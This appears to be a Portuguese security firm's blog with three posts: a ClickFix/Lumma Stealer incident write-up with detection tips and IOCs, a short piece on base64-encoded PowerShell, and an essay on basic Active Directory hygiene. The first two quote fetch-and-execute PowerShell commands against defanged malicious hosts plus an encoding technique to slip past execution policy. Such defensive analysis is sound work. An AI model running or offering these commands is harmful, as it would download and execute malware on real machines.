Vol. 1 No. 20250725-792 (2025)

Um clique, um comando, uma brecha

Yuri Augusto | yuri@cylo.com.br | 25/07/2025

Como já é de conhecimento geral, o elo mais fraco em um ataque é a interferência humana, seja em caso de falhas (bugs), phishing ou engenharia social.
Em um caso recente, o usuário tentou executar um arquivo malicioso e teve a ação bloqueada. Ao verificar o hash do arquivo suspeito (localizado em uma pasta temporária) no Virus Total, o arquivo foi identificado como Powershell.
Em seguida, busquei por comandos que pudessem ter sido executados anteriormente para gerar esse arquivo na pasta temporária. Nem sempre é possível recuperar o histórico de comandos do Powershell, mas neste caso encontrei o seguinte registro no arquivo ConsoleHost_history.txt, localizado em AppData:

iwr walkin[.]college/trace.mp3 | iex # You're Human

Além disso, identifiquei também comandos altamente ofuscados executados pelo .NET . Nesse ponto, já era evidente que se tratava de um ataque de engenharia social relativamente novo: o ClearFake/ClickFix. Nesse tipo de ataque, o usuário acessa um site e é induzido a abrir o menu “Executar” do Windows, colar um código e pressionar Enter. Trata-se, basicamente, de uma variação de phishing com o uso de captcha para dar aparência de legitimidade.

Exemplo de como é realizado o ataque.

Apesar de relativamente recente, esse tipo de ataque já vem sendo amplamente utilizado por diversas famílias de malware.

Gráfico das infecções semanais em 2025.

O sucesso desse ataque se deve à sua simplicidade. O usuário é induzido a digitar, por conta própria, o código malicioso, facilitando o ponto de entrada na estação. A partir daí, o código é executado e inicia-se o download de arquivos maliciosos.
Realizei uma busca na internet e encontrei o script utilizado, bem como a metodologia do ataque. Há indícios de que o malware pertença à família Lumma Stealer.

Algumas maneiras de detectar a atividade maliciosa:

  • Eventos de segurança – eventID 4668 (process creation): procurar instâncias do powershell.exe que tenha explorer.exe como processo pai e que apresente associação com o EventID 4663 (object access) envolvendo arquivos na pasta %LocalAppData%\Microsoft\Windows\WinX\
  • Padrões de uso de shell: identificar sessões elevadas de powershell com comunicações suspeitas ou criação de processos incomuns, como certutil.exe, mshta.exe ou rundll32.exe.

Algumas maneiras para dificultar o roubo de credenciais:

  • Habilitar autenticação multifator (MFA).
  • Adotar métodos de autenticação resistentes à phishing, como FIDO, passkey, e evitar métodos de autenticação SMS.
  • Utilizar AppLocker para restringir aplicações não autorizadas no ambiente.
  • Desabilitar powershell para usuários que não possuem privilégios administrativos.

Felizmente o ataque não chegou a esse ponto, pois foi barrado pelo XDR. No entanto, isso nos alerta para uma das estratégias mais básicas, treinar os usuários, que são os principais alvos dos atacantes. Não se espera que o usuário entenda códigos ou saiba reconhecer ataques, porém, com orientações básicas é possível evitar problemas significativamente mais graves.

Indicators of compromise:
SHA256 – 45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d
Domínio – walkin[.]college/trace.mp3

Mais informações do indicador:
https://www.virustotal.com/gui/file/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d
https://hybrid-analysis.com/sample/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d/6882e7fcd6da29a55105d6ab

Referências:
https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/
https://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer/

Vol. 1 No. 20250417-366 (2025)

Ataques obfuscados via PowerShell

Pedro Brandt Zanqueta | pedro@cylo.com.br | 17/04/2025

Lidamos recentemente com um incidente onde uma estação realizava semanalmente a execução de um script PowerShell via tarefa agendada. Isso levantou uma dúvida interessante, porque as políticas do próprio PowerShell não bloquearia, a Microsoft desenvolveu a política de execução do PowerShell, recurso de segurança ao qual controla as condições sob as quais o PowerShell carrega arquivos de configuração e executa scripts.

Analisando a cadeia de execuções, identificamos que o comando está em base64, ao que nativamente o PowerShell realiza, com isso consegue dar um bypass nessa etapa de segurança a nível de sistema operacional.

Segue abaixo um exemplo da técnica informada:

$command = “Invoke-WebRequest http[:]//malicious[.]com -OutFile malware[.]exe”

$encodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))

powershell -EncodedCommand $encodedCommand

Essa é uma técnica entre muitas que atacantes utilizam, a pergunta que devemos fazer é, suas ferramentas e seu time estão preparados para lidar com ela?

Referências:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.5

Vol. 1 No. 20250411-252 (2025)

Importância de executar o básico bem-feito

João Paulo Gonsales | jgonsales@cylo.com.br | 11/04/2025

Recentemente participei de um treinamento em Segurança da Informação, ministrado por um experiente pesquisador na área de Cybersecurity, onde diversas reflexões foram levantadas e entre elas, a importância de mensurar os investimentos na área, por onde começar? O que seria mais importante, altos investimentos em ferramental ou investir em processos?

Acredito que para diminuir a superfície de ataque do ambiente, envolve mais do que investir no melhor firewall, ferramentas de endpoint ou um bom SOC. A falta de definição de uma política de segurança da informação, um plano de recuperação de desastre funcional ou uma governança na gestão de identidade (Acessos), aumentaria muito a superfície de ataque.

Inverter a ordem no seu planejamento, seria eficaz? Talvez, depende, mas baseado nos históricos de taticas utilizadas e exploradas por atacantes no ambiente, vulnerabilidades não somente estão relacionadas a patch de segurança ou investimento em ferramental, mas também, se aplica, a inexistência das políticas e processos bem definidos e novamente, que implementadas, diminuiria a superfície de ataque a ser explorada.

Essa reflexão originada pelo treinamento, me fez lembrar de uma frase que escutei a alguns anos de um prestador de serviços de tecnologia, “Fazemos o básico bem-feito”. A fala no momento não fez muito sentido, não era o que eu estava buscando no momento, mas hoje vejo que faz muito sentido, principalmente na área de Segurança da Informação.

Fazendo uma analogia com a frase “fazer o básico bem-feito”, com a inexistência dos processos citados acima, como iremos garantir uma boa implantação do ferramental. Acredito que faria sentido complementar a frase mencionada acima para “Fazer o básico bem-feito protege melhor que fazer um avançado mal configurado”.

Um bom exemplo de “fazer o básico”, poderíamos citar o processo de gestão de acesso , por exemplo, uma sanitização recorrente do serviço de Active Directory, onde a falta de gestão em itens como, contas de computador obsoletas , contas de usuário expiradas, contas de ex-funcionários ainda ativas, excesso de contas administrativas, permissões herdadas sem lógica, falta de políticas para correções de segurança do produto , aumentaria a superfície de ataque e o risco de segurança no ambiente.

Para iniciar esse processo de gestão de acesso no serviço de Active Directory, conseguimos bons resultados com a utilização de ferramentas nativas do sistema operacional, como por exemplo o Powershell e implementação de processos bem definidos na sua gestão.

Isso seria somente alguns pontos que se aplicarmos na rotina de gestão diariamente, conseguíramos mitigar diversos riscos no ambiente e a sua não implementação, prejudica diretamente a eficácia da gestão de acesos e compromete tanto a segurança quanto a governança da TI.

Podemos citar alguns ganhos com a realização da sanitização recorrente do AD, como :

– Redução de riscos de segurança – Contas abandonadas são portas abertas para ataques. Removê-las periodicamente reduz a superfície de ataque.

– Melhoria na governança e conformidade – Facilita auditorias e garante que apenas contas ativas e justificadas existam no ambiente.

– Eficiência operacional – Um AD mais enxuto melhora a performance, reduz a carga administrativa e evita erros em permissões e acessos.

– Monitoramento contínuo e ações preventivas – Rotinas de verificação ou a implementação de Dashboards , permitiriam identificar padrões de inatividade e agir proativamente.

 Seguir os processos bem definidos , usando o exemplo da utilização de scritps e ferramentas nativas, poderiamos definir que : scritps poweshell + recorrência(processos) = diminuição da superfície de ataque, segurança contínua e uma governança mais eficiente do ambiente.

 Esse é somente um exemplo claro do que chamamos de “básico bem-feito” na prática, onde com poucos recursos financeiros , a gestão de acesso se torna eficiente, sem a utilização de ferramentas caras, onde fazer o básico bem feito faz a diferença e melhora a postura de segurança, alinhando muitos ganhos na segurança e conformidade.

Deixo essa reflexão, que são situações rotineiras e de muita importância do analista, definir processos, seguir processos e fazer o básico bem-feito garante uma mudança positiva no ambiente.